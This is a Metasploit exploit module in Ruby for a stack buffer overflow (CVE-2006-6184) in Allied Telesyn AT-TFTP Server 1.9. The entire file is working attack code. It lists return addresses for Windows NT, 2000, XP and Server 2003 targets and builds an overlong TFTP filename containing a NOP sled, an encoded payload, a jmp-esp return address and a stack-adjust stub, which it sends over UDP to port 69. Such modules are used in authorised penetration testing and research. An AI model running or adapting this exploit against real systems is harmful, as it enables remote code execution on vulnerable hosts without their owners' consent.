Allied Telesyn TFTP (AT-TFTP) Server/Daemon 1.9 - Long Filename Overflow (Metasploit)

##
# $Id: attftp_long_filename.rb 11882 2011-03-05 21:00:57Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a
				request (get/write) for an overly long file name.
			},
			'Author'         => [ 'Patrick Webster <patrick[at]aushack.com>' ],
			'Version'        => '$Revision: 11882 $',
			'References'     =>
				[
					['CVE', '2006-6184'],
					['OSVDB', '11350'],
					['BID', '21320'],
					['URL','http://milw0rm.com/exploits/2887'],
					['URL', 'ftp://guest:guest@ftp.alliedtelesyn.co.uk/pub/utilities/at-tftpd.exe'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 210,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
				# Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24
					[ 'Windows NT SP4 English',   { 'Ret' => 0x702ea6f7 } ],
					[ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],
					[ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],
					[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],
					[ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],
					[ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
					[ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],
					[ 'Windows XP SP2 English',   { 'Ret' => 0x71ab9372 } ],
					[ 'Windows Server 2003',      { 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 27 2006'))

		register_options(
			[
				Opt::RPORT(69),
				Opt::LHOST() # Required for stack offset
			], self.class)
	end

	def exploit
		connect_udp

		sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)
		sploit << payload.encoded
		sploit << [target['Ret']].pack('V') 	# <-- eip = jmp esp. we control it.
		sploit << "\x83\xc4\x28\xc3" 		# <-- esp = add esp 0x28 + retn
		sploit << "\x00" + "netascii" + "\x00"

		udp_sock.put(sploit)

		disconnect_udp
	end

end